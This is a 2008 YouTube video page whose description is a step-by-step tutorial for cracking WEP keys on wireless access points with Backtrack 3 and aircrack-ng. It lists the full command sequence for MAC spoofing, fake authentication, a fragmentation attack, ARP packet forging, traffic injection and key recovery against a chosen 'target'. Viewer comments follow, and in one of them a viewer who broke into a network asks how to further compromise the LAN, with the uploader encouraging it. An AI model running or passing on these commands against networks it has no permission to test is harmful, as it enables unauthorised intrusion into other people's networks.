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WEP Crack with Backtrack 3

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Uploaded by on Aug 18, 2008

http://cf76b03d.any.gs - Link to backtrack

This is a tutorial on how to crack a WEP code on a wireless access point. Here are the commands I use:

airmon-ng stop wlan0
ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
airodump-ng wlan0

Pick your target, copy it's BSSID, press ctrl + C to end airodump.

airodump-ng -c (channel) -w wep --bssid (paste AP's mac here) wlan0

Open a new KONSOLE:
aireplay-ng -1 0 -a (paste AP) -h 00:11:22:33:44:55 wlan0

Smilieface = Success. :-)

aireplay-ng -5 -b (paste AP) -h 00:11:22:33:44:55 wlan0

A packet will pop up, verify that the MAC is the same MAC of your target.
Press Y if it is, N if it's not.

packetforge-ng -0 -a (paste AP) - h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y ( the .xor filename, starts with fragment..) -w ARP

aireplay-ng -2 -r ARP wlan0

Press Y.

Will start injecting, data packets will rise like crazy. When enough data is obtained..

aircrack-ng wep-01.cap

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If you have questions please ask in the comments!

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Card Compatability links:
http://aircrack-ng.org/doku.php?id=compatibility_drivers#compatibility
http://backtrack.offensive-security.com/index.php/Hardware_Compatibility

Category:

Science & Technology

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License:

Standard YouTube License

  • likes, 6 dislikes

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Uploader Comments (thepaperboi)

  • so does this work in any linux distro? like lets say ubuntu or linux mint?

  • @True2TheBlueYoViGang

    Try "apt-get aircrack-ng" in a terminal.

  • oh ok.... is there a site i can get it from real quick..i have a problem in linux(lol) its sorta long to explain but basically i only have internet in VISTA so i cant boot into Mint right now. T_T

    PS

    if u dunt know a site if i just boot into it and type the code in terminal it should display a link to the deb packs? right? do i need the drivers and stuff downloaded cuz i never installed the video drivers or nothing in linux cuz i still havent been able to get onlone via my dialup..

  • lol.... it downloads it and installs it and everything automagically, it's not like a link appears.. You'll see.

    I don't know how you would do it in windows, or why.. You'd have to go to the aircrack site, download a zipped package, unzip it, install it, which is just cumbersom. apt-get aircrack-ng is much easier.

  • Hey thepaperboi, i followed your video and it worked. The video is helpful. But i have a question about what you do after you obtained the WEP key. It's posible to connect to the AP using Windows, but are there any BT3 tools that can be used to further compromise / identify the lan network?

    Just an overall question; what are the possibilities?

    1000bit

  • Plain and simple, the possibilities are endless. :) There is no end to what you can do with linux my friend.

    If your looking for more things to do with backtrack, check out the backtrack forums.

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All Comments (158)

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  • Hello, I just bought alfa adapter, as I experienced issues with my realtek. And It still changes interface's name to mon0 which os on fixed channel (-1) I used the patch as needed, but it still doesn't fix my problem.

  • @access08intro The government can't Shut down encryption vulnerabilities. They will always be there. Nothing is absolute. And if they ban use of decryption tools, it'll be as enforced as having to be 18 to look at porn!

  • @thepaperboi

    the packetforge-ng -0 -a BSSID -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w ARP

    nope it doesnt read

  • how come nothing pops up when i type airmon-ng.

    it only says interface chipset driver.

    and i bought a stupid netgear adaptor to do this

  • um can you take this vid down, i dont want to many ppl to find out about this, the gov will shut it down then

  • hey guys this method is called wepspoon cracking thats his method it doesnt work to well

  • Is there any program to get WEP passwords, and it works in Windows ?????

    Thats is because im watching he is using Linux ...

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